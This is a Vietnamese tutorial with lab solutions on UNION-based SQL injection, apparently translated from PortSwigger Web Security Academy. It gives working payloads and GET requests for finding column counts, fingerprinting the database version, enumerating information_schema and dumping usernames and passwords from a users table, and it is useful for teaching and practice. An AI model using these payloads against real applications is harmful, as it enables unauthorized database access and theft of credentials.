## 1. Tiêm SQL vào các phần khác nhau của truy vấn
Hầu hết các lỗ hổng SQL injection xảy ra trong mệnh đề WHERE của truy vấn SELECT. Hầu hết các kiểm thử viên có kinh nghiệm đều quen thuộc với loại SQL injection này.
Tuy nhiên, lỗ hổng SQL injection có thể xảy ra ở bất kỳ vị trí nào trong truy vấn và trong các loại truy vấn khác nhau. Một số vị trí phổ biến khác mà SQL injection phát sinh là:
- Trong các câu lệnh UPDATE, trong các giá trị được cập nhật hoặc mệnh đề WHERE.
- Trong các câu lệnh INSERT, bên trong các giá trị được chèn vào.
- Trong các câu lệnh SELECT, bên trong tên bảng hoặc cột.
- Trong các câu lệnh SELECT, trong mệnh đề ORDER BY.
## 2. Tấn công UNION bằng SQL Injection
Khi một ứng dụng dễ bị SQL injection và kết quả của truy vấn được trả về trong phản hồi của ứng dụng, bạn có thể sử dụng từ khóa UNION để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu. Điều này thường được gọi là tấn công SQL injection UNION.
Từ khóa UNION cho phép bạn thực hiện một hoặc nhiều truy vấn SELECT bổ sung và thêm kết quả vào truy vấn ban đầu. Ví dụ:
```
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
```
Truy vấn SQL này trả về một tập kết quả duy nhất với hai cột, chứa các giá trị từ các cột a và b trong table1 và các cột c và d trong table2.
Để truy vấn UNION có hiệu quả, hai yêu cầu chính phải được đáp ứng:
- Các truy vấn riêng lẻ phải trả về cùng số cột.
- Các kiểu dữ liệu trong mỗi cột phải tương thích giữa các truy vấn riêng lẻ.
Để thực hiện một cuộc tấn công SQL injection UNION, hãy đảm bảo rằng cuộc tấn công của bạn đáp ứng được hai yêu cầu sau. Điều này thường liên quan đến việc tìm hiểu:
- Có bao nhiêu cột được trả về từ truy vấn ban đầu.
- Những cột nào được trả về từ truy vấn gốc có kiểu dữ liệu phù hợp để lưu trữ kết quả từ truy vấn được đưa vào.
## 3. Xác định số lượng cột cần thiết
Khi bạn thực hiện tấn công SQL injection UNION, có hai phương pháp hiệu quả để xác định có bao nhiêu cột được trả về từ truy vấn gốc.
Một phương pháp bao gồm việc chèn một loạt các mệnh đề ORDER BY và tăng chỉ số cột được chỉ định cho đến khi xảy ra lỗi. Ví dụ, nếu điểm chèn là một chuỗi được trích dẫn trong mệnh đề WHERE của truy vấn gốc, bạn sẽ gửi:
```
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
etc.
```
Chuỗi tải trọng này sửa đổi truy vấn gốc để sắp xếp kết quả theo các cột khác nhau trong tập kết quả. Cột trong mệnh đề ORDER BY có thể được chỉ định theo chỉ mục của nó, do đó bạn không cần biết tên của bất kỳ cột nào. Khi chỉ mục cột được chỉ định vượt quá số lượng cột thực tế trong tập kết quả, cơ sở dữ liệu trả về lỗi, chẳng hạn như:
```
The ORDER BY position number 3 is out of range of the number of items in the select list.
```
Ứng dụng có thể thực sự trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng nó cũng có thể đưa ra phản hồi lỗi chung. Trong những trường hợp khác, nó có thể chỉ trả về không có kết quả nào cả. Dù bằng cách nào, miễn là bạn có thể phát hiện ra một số khác biệt trong phản hồi, bạn có thể suy ra có bao nhiêu cột đang được trả về từ truy vấn.
Phương pháp thứ hai bao gồm việc gửi một loạt các dữ liệu UNION SELECT chỉ định số lượng giá trị NULL khác nhau:
```
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.
```
Nếu số lượng giá trị NULL không khớp với số lượng cột, cơ sở dữ liệu sẽ trả về lỗi, chẳng hạn như:
```
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
```
Sử dụng NULL như các giá trị trả về từ truy vấn được đưa vào SELECT vì kiểu dữ liệu trong mỗi cột phải tương thích giữa truy vấn gốc và truy vấn được đưa vào. NULL có thể chuyển đổi sang mọi kiểu dữ liệu phổ biến, do đó, nó tối đa hóa cơ hội tải trọng sẽ thành công khi số cột là chính xác.
Tương tự như ORDER BY, ứng dụng có thể thực sự trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng có thể trả về lỗi chung hoặc đơn giản là không trả về kết quả nào. Khi số lượng giá trị NULL khớp với số lượng cột, cơ sở dữ liệu trả về một hàng bổ sung trong tập kết quả, chứa các giá trị NULL trong mỗi cột. Hiệu ứng đối với phản hồi HTTP phụ thuộc vào mã của ứng dụng. Nếu may mắn, bạn sẽ thấy một số nội dung bổ sung trong phản hồi, chẳng hạn như một hàng bổ sung trên bảng HTML. Nếu không, các giá trị NULL có thể kích hoạt một lỗi khác, chẳng hạn như NullPointerException. Trong trường hợp xấu nhất, phản hồi có thể trông giống như phản hồi do số lượng giá trị NULL không chính xác. Điều này sẽ khiến phương pháp này không hiệu quả.
## Lab: Tấn công UNION tiêm SQL, xác định số lượng cột được trả về bởi truy vấn
https://0a2c0091049b302f864f42d2003b00a9.web-security-academy.net/
Bài lab này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, do đó bạn có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác. Bước đầu tiên của một cuộc tấn công như vậy là xác định số lượng cột đang được truy vấn trả về. Sau đó, bạn sẽ sử dụng kỹ thuật này trong các phòng thí nghiệm tiếp theo để xây dựng toàn bộ cuộc tấn công.
Để giải quyết bài tập này, hãy xác định số cột được truy vấn trả về bằng cách thực hiện tấn công SQL injection UNION trả về một hàng bổ sung chứa các giá trị null.
https://0a2c0091049b302f864f42d2003b00a9.web-security-academy.net/filter?category=Lifestyle%27%20ORDER%20BY%203--

https://0a2c0091049b302f864f42d2003b00a9.web-security-academy.net/filter?category=Lifestyle%27%20ORDER%20BY%204--

Xác định được bảng có 3 cột
Chèn 1 hàng NULL vào bảng:
https://0a2c0091049b302f864f42d2003b00a9.web-security-academy.net/filter?category=Lifestyle%27%20UNION%20SELECT%20NULL,NULL,NULL--

## 4. Cú pháp dành riêng cho cơ sở dữ liệu
Trên Oracle, mọi truy vấn SELECT phải sử dụng từ khóa FROM và chỉ định một bảng hợp lệ. Có một bảng tích hợp trên Oracle được gọi là dual có thể được sử dụng cho mục đích này. Vì vậy, các truy vấn được tiêm vào trên Oracle sẽ cần phải trông giống như sau:
```
' UNION SELECT NULL FROM DUAL--
```
Các tải trọng được mô tả sử dụng chuỗi chú thích gạch ngang kép -- để chú thích phần còn lại của truy vấn gốc sau điểm tiêm. Trên MySQL, chuỗi gạch ngang kép phải được theo sau bởi một khoảng trắng. Ngoài ra, có thể sử dụng ký tự băm # để xác định chú thích.
Để biết thêm chi tiết về cú pháp dành riêng cho cơ sở dữ liệu, hãy xem [bảng hướng dẫn về SQL injection](https://portswigger.net/web-security/sql-injection/cheat-sheet).
## 5. Tìm các cột có kiểu dữ liệu hữu ích
Tấn công SQL injection UNION cho phép bạn lấy kết quả từ truy vấn inject. Dữ liệu thú vị mà bạn muốn lấy thường ở dạng chuỗi. Điều này có nghĩa là bạn cần tìm một hoặc nhiều cột trong kết quả truy vấn gốc có kiểu dữ liệu là hoặc tương thích với dữ liệu chuỗi.
Sau khi xác định số lượng cột cần thiết, bạn có thể thăm dò từng cột để kiểm tra xem nó có thể chứa dữ liệu chuỗi hay không. Bạn có thể gửi một loạt các tải trọng UNION SELECT đặt giá trị chuỗi vào từng cột theo lượt. Ví dụ, nếu truy vấn trả về bốn cột, bạn sẽ gửi:
```
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
```
Nếu kiểu dữ liệu cột không tương thích với dữ liệu chuỗi, truy vấn được đưa vào sẽ gây ra lỗi cơ sở dữ liệu, chẳng hạn như:
```
Conversion failed when converting the varchar value 'a' to data type int.
```
Nếu không xảy ra lỗi và phản hồi của ứng dụng chứa một số nội dung bổ sung bao gồm giá trị chuỗi được đưa vào thì cột có liên quan sẽ phù hợp để truy xuất dữ liệu chuỗi.
## Lab: Tấn công UNION tiêm SQL, tìm một cột chứa văn bản
https://0a5c0055048341548095da100009006b.web-security-academy.net/
Bài lab này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, do đó bạn có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác. Để xây dựng một cuộc tấn công như vậy, trước tiên bạn cần xác định số lượng cột được truy vấn trả về. Bạn có thể thực hiện việc này bằng kỹ thuật đã học trong phòng thí nghiệm trước đó. Bước tiếp theo là xác định cột tương thích với dữ liệu chuỗi.
Bài lab sẽ cung cấp một giá trị ngẫu nhiên mà bạn cần làm cho xuất hiện trong kết quả truy vấn. Để giải quyết phòng thí nghiệm, hãy thực hiện một cuộc tấn công UNION tiêm SQL trả về một hàng bổ sung chứa giá trị được cung cấp. Kỹ thuật này giúp bạn xác định những cột nào tương thích với dữ liệu chuỗi.


Xác định được bảng có 3 cột

Chèn giá trị vào cột thứ 2

## 6. Sử dụng tấn công SQL injection UNION để lấy dữ liệu thú vị
Khi bạn đã xác định được số cột trả về bởi truy vấn ban đầu và tìm ra cột nào có thể chứa dữ liệu chuỗi, bạn đã có thể truy xuất dữ liệu thú vị.
Giả sử rằng:
- Truy vấn ban đầu trả về hai cột, cả hai đều có thể chứa dữ liệu chuỗi.
- Điểm chèn là một chuỗi được trích dẫn trong mệnh đề WHERE.
- Cơ sở dữ liệu chứa một bảng có tên là users gồm các cột username và password.
Trong ví dụ này, bạn có thể lấy nội dung của bảng users bằng cách gửi dữ liệu đầu vào:
```
' UNION SELECT username, password FROM users--
```
Để thực hiện cuộc tấn công này, bạn cần biết rằng có một bảng được gọi là users có hai cột được gọi là username và password. Nếu không có thông tin này, bạn sẽ phải đoán tên của các bảng và cột. Tất cả các cơ sở dữ liệu hiện đại đều cung cấp các cách để kiểm tra cấu trúc cơ sở dữ liệu và xác định chúng chứa những bảng và cột nào.
## Lab: Tấn công UNION tiêm SQL, lấy dữ liệu từ các bảng khác
https://0a7d0004048f2a0c8062fd9400b00012.web-security-academy.net/
Bài lab này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, do đó bạn có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác. Để xây dựng một cuộc tấn công như vậy, bạn cần kết hợp một số kỹ thuật đã học trong các bài thực hành trước.
Cơ sở dữ liệu chứa một bảng khác có tên là users, với các cột có tên là username và password.
Để giải quyết bài tập này, hãy thực hiện một cuộc tấn công SQL injection UNION để lấy tất cả tên người dùng và mật khẩu, sau đó sử dụng thông tin đó để đăng nhập với tư cách là administrator.


## 7. Lấy nhiều giá trị trong một cột duy nhất
Trong một số trường hợp, truy vấn trong ví dụ trước chỉ có thể trả về một cột duy nhất.
Bạn có thể lấy nhiều giá trị cùng nhau trong một cột duy nhất này bằng cách nối các giá trị lại với nhau. Bạn có thể bao gồm một dấu phân cách để phân biệt các giá trị kết hợp. Ví dụ, trên Oracle, bạn có thể gửi đầu vào:
```
' UNION SELECT username || '~' || password FROM users--
```
Điều này sử dụng chuỗi double-pipe || là toán tử nối chuỗi trên Oracle. Truy vấn được tiêm sẽ nối các giá trị của các trường username và password, được phân tách bằng ký tự ~.
Kết quả từ truy vấn chứa tất cả tên người dùng và mật khẩu, ví dụ:
```
...
administrator~s3cure
wiener~peter
carlos~montoya
...
```
Các cơ sở dữ liệu khác nhau sử dụng cú pháp khác nhau để thực hiện nối chuỗi. Để biết thêm chi tiết, hãy xem bảng hướng dẫn về SQL injection.
## Lab: Tấn công UNION tiêm SQL, truy xuất nhiều giá trị trong một cột
https://0ac700c804f1f66080fc990a0038006c.web-security-academy.net/
Bài lab này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng để bạn có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác.
Cơ sở dữ liệu chứa một bảng khác có tên là users, với các cột có tên là username và password.
Để giải quyết bài lab này, hãy thực hiện một cuộc tấn công SQL injection UNION để lấy tất cả tên người dùng và mật khẩu, sau đó sử dụng thông tin đó để đăng nhập với tư cách là administrator.



Xác định được bảng gồm 2 cột
Chèn truy vấn vào cột thứ 2
`user'+UNION+SELECT+NULL,'abc'--`

`user'+UNION+SELECT+NULL,username||'~'||password+from+users--`

## 8. Kiểm tra cơ sở dữ liệu trong các cuộc tấn công SQL injection
Để khai thác lỗ hổng SQL injection, thường cần phải tìm thông tin về cơ sở dữ liệu. Bao gồm:
- Loại và phiên bản của phần mềm cơ sở dữ liệu.
- Các bảng và cột có trong cơ sở dữ liệu.
Truy vấn loại cơ sở dữ liệu và phiên bản
Bạn có thể xác định cả loại và phiên bản cơ sở dữ liệu bằng cách đưa vào các truy vấn cụ thể của nhà cung cấp để xem liệu có truy vấn nào hoạt động không
Sau đây là một số truy vấn để xác định phiên bản cơ sở dữ liệu cho một số loại cơ sở dữ liệu phổ biến:
Truy vấn Kiểu cơ sở dữ liệu
- Microsoft, MySQL: SELECT @@version
- Oracle: SELECT * FROM v$version
- PostgreSQL: SELECT version()
Ví dụ, bạn có thể sử dụng lệnh tấn công UNION với thông tin đầu vào sau:
```
' UNION SELECT @@version--
```
Điều này có thể trả về kết quả sau. Trong trường hợp này, bạn có thể xác nhận rằng cơ sở dữ liệu là Microsoft SQL Server và xem phiên bản được sử dụng:
```
Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)
```
## Lab: Tấn công tiêm SQL, truy vấn loại cơ sở dữ liệu và phiên bản trên MySQL và Microsoft
https://0ad2008a039b8a998189892700d90000.web-security-academy.net/
Bài lab này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Bạn có thể sử dụng tấn công UNION để lấy kết quả từ truy vấn được tiêm.
Để giải bài lab này, hãy hiển thị chuỗi phiên bản cơ sở dữ liệu.
GET /filter?category=Pets' UNION SELECT 'abc','def'#

GET /filter?category=Pets' UNION SELECT @@version,'def'#

GET /filter?category=Pets' UNION SELECT @@version,NULL#

## 9. Liệt kê nội dung của cơ sở dữ liệu
Hầu hết các loại cơ sở dữ liệu (trừ Oracle) đều có một tập hợp các chế độ xem được gọi là lược đồ thông tin. Điều này cung cấp thông tin về cơ sở dữ liệu.
Ví dụ, bạn có thể truy vấn information_schema.tables để liệt kê các bảng trong cơ sở dữ liệu:
```
SELECT * FROM information_schema.tables
```
Câu trả lời sẽ như sau:
```
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
```
Đầu ra này cho biết có ba bảng Products, Users, và Feedback.
Sau đó, bạn có thể truy vấn information_schema.columns để liệt kê các cột trong từng bảng:
```
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
```
Câu trả lời sẽ như sau:
```
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
```
Đầu ra này hiển thị các cột trong bảng được chỉ định và kiểu dữ liệu của mỗi cột.
## Lab: Tấn công tiêm SQL, liệt kê nội dung cơ sở dữ liệu trên các cơ sở dữ liệu không phải của Oracle
https://0a1c004204d5d484e70b668300d000df.web-security-academy.net/
Bài lab này chứa lỗ hổng SQL injection trong bộ lọc danh mục sản phẩm. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng để bạn có thể sử dụng tấn công UNION để truy xuất dữ liệu từ các bảng khác.
Ứng dụng có chức năng đăng nhập và cơ sở dữ liệu chứa một bảng lưu trữ tên người dùng và mật khẩu. Bạn cần xác định tên của bảng này và các cột mà nó chứa, sau đó truy xuất nội dung của bảng để lấy tên người dùng và mật khẩu của tất cả người dùng.
Để giải bài lab, hãy đăng nhập với tư cách administrator.
GET /filter?category=Accessories' UNION SELECT 'a','b'--

GET /filter?category=Accessories'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--

GET /filter?category=Accessories'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_pxrdum'--


GET /filter?category=Accessories'+UNION+SELECT+username_foffvj,+password_vpowhm+FROM+users_pxrdum--
